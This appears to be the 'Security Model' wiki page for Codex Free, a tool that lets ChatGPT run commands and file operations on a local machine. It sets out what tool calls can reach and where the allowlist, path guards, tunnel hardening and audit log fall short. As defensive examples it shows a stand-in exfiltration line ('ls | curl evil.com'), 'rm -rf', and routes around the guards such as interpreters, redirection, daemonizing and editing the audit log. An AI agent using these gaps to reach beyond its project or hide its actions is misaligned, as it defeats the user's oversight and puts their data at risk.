-
Notifications
You must be signed in to change notification settings - Fork 3
Security Model
Read this before pointing Codex Free at anything sensitive. This page explains what a tool call can reach, what bounds it, and — importantly — what does not bound it.
The command allowlist is a guardrail against accidents, not a sandbox. It catches a model reaching for
curlorrm -rf. It does not contain a determined one.
The defaults already include node, python, and cargo, each of which runs arbitrary code — node -e "..." can do anything the server process can. Shell redirection and explicit absolute/parent paths can reach outside the active project root even though each command starts with that root as its cwd. Multi-project selection isolates Codex Free's structured tools and per-conversation state; it is not an OS sandbox.
...by whoever is authorized to use the configured connector or external endpoint:
- everything in the active project root, read and write;
- in multi-project mode, any project beneath the access root can be selected by a new conversation or unbound transport;
- anything else the user account running the server can touch, via an allowlisted interpreter;
- the network, from your machine;
- anything a bridged MCP server can do.
The practical rules that follow from this:
- Don't point Codex Free at directories you don't trust the model with.
- Set
exec.modeand the command allowlists tighter than the defaults when the work directory is sensitive. - In multi-project mode, treat the whole access-root subtree as sensitive — it's all intentionally selectable.
- For an external tunnel, require tunnel-level access control, not URL secrecy.
Every filesystem tool — including apply_patch and view_image — resolves paths through a guard that rejects anything outside the active project root. In multi-project mode, both catalogue discovery and set_project_root canonicalize the access root and candidate, so .. and symlinks cannot expose or bind a project outside it.
In single-project mode only, AGENTS.md discovery may read above --work-dir, up to the nearest .git. It is read-only, opens only AGENTS.override.md / AGENTS.md / projectDoc.fallbackFilenames, and get_project_doc reports the absolute path of every file used. Switch it off with projectDoc.maxBytes: 0, or keep the search inside the work dir with projectDoc.rootMarkers: []. Multi-project mode does not perform this walk.
run_command only runs binaries in allowedCommands. exec_command checks the same list plus exec.extraAllowedCommands, at every command position in the string (after every |, &&, ;, newline, subshell). ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright. Set exec.mode: "unrestricted" only when you fully trust the caller.
import_host_file accepts only ChatGPT's declared native-file object (no arbitrary URLs), constrains the download and every redirect hop to artifactIngress.allowedHosts (default "*" admits any public HTTPS host but never loopback/private/link-local/CGNAT/metadata), ignores ambient proxy credentials, and enforces whole-request/idle/size/concurrency limits. Its signed URL and file ID are never logged or returned. Publication uses a capability-confined directory handle, SHA-256, a private partial, and atomic no-overwrite linking, so traversal/symlink/partial-visibility/replacement races fail closed.
remember/update_plan write memory.json under ~/.codex-free/projects/; multi-project also writes a binding record under ~/.codex-free/conversation-projects/ (filename hashed from openai/session; raw value never stored). Skills may be read from ~/.agents/skills, ~/.codex/skills, ~/.claude/skills, or a Claude Code plugin — but skills_read is confined to a skill package that already exists; the resource path can't walk out into the rest of your home directory.
Review checkpoints are exactly two refs per conversation/project under refs/codex-free/review/, built through a temporary index, never modifying the real index/working tree. See Review Checkpoints.
MCP import and the project catalogue read the user-level Codex config.toml without rewriting it. Native Codex trust does not override the access-root boundary.
-
Outbound-only. Codex Free binds its MCP listener to loopback and supervises OpenAI's official runtime-only tunnel client. Startup fails unless the runtime reports
/readyzand completes a control-plane poll. Failure of either process stops the other. - Authenticated loopback hop. Native mode generates a random per-process bearer token and configures the tunnel runtime to send it on MCP requests and discovery probes. The token is never printed, written to config, or inherited by model-launched commands or bridged children.
-
Verified installation. The managed client is pinned to a specific official release and per-platform SHA-256 embedded in Codex Free, extracted by exact filename under size limits, installed atomically with private permissions, and hash-checked against its manifest on later starts. Set
clientPathto opt out of managed installation while keeping compatibility checks. -
Secrets are references, not values.
openaiTunnel.apiKeyRefaccepts onlyenv:NAMEorfile:/path; literal keys are rejected. Codex Free resolves the value and exposes it to the tunnel child under a synthetic env name, giving the child a clean allowlisted environment; it removes the original variable from model-launched commands and bridged children. On Unix, a referenced key file must not be group/other-readable. Use a restricted runtime key (Tunnels Read + Use), not an admin key. -
Forced hardening. Native mode ignores
allowedHosts, forces accepted authorities to127.0.0.1/localhost/::1, binds only loopback, and disables permissive CORS. It cannot be combined with--api-key.
These measures prevent accidental inheritance and public exposure. They do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.
-
Bearer token:
--api-keyrequiresAuthorization: Bearer <key>on all requests except/health. (ChatGPT's URL-connector auth may not support simple bearer tokens.) -
Host allowlist: without
openaiTunnel,allowedHostsis empty (accepts anyHost). Set it to a hostname list for DNS-rebinding protection — only matchingHostheaders are served. - You must put an authenticated proxy/tunnel in front and enforce access at that layer. An unprotected public URL is not an appropriate long-lived deployment.
An explicit mcpServers entry or an imported Codex MCP — including plugin-contributed ones — forwards the model's calls verbatim with full delegated authority. Keep the surface small: prefer tools/disabledTools filters or gateway mode, keep secrets in bearerTokenEnvVar/envHttpHeaders rather than static JSON, and disable auto-import (codexMcp.useCli: false or codexMcp.enabled: false) if you don't want it. See Bridging MCP Servers.
worktrees.allowSetupScript defaults to false. Enabling it lets a worktree's Codex setup script run an arbitrary command outside the allowlist, with the script path selectable from the source repo's Git config — so an untrusted project could plant one. Leave it off unless every reachable project is trusted. See Worktree Isolation.
For clients without stable ChatGPT metadata, exec_command sessions are killed when the MCP transport closes. ChatGPT-owned sessions survive transport replacement and are killed by exec.idleTimeoutMs or shutdown. The kill includes children: taskkill /T /F on Windows, per-session process groups on POSIX. A process that deliberately re-parents/daemonizes still escapes — check for strays if a run leaves something listening.
--audit writes hashes, timings, result sizes, and redacted argument shape — not source, paths, credentials, or output. It is an operational log, not a tamper-evident boundary (model-launched commands run as the same user and could modify it). Keep it outside the access root. See Audit Logging.
- Configuration — every knob referenced here.
- Multi-Project Mode — the access-root boundary in detail.
- Connecting to ChatGPT — connector permission choices.
Repository · Releases · Report an issue · MIT License
Getting started
Reference
How it works
Multi-project
Extending
Operations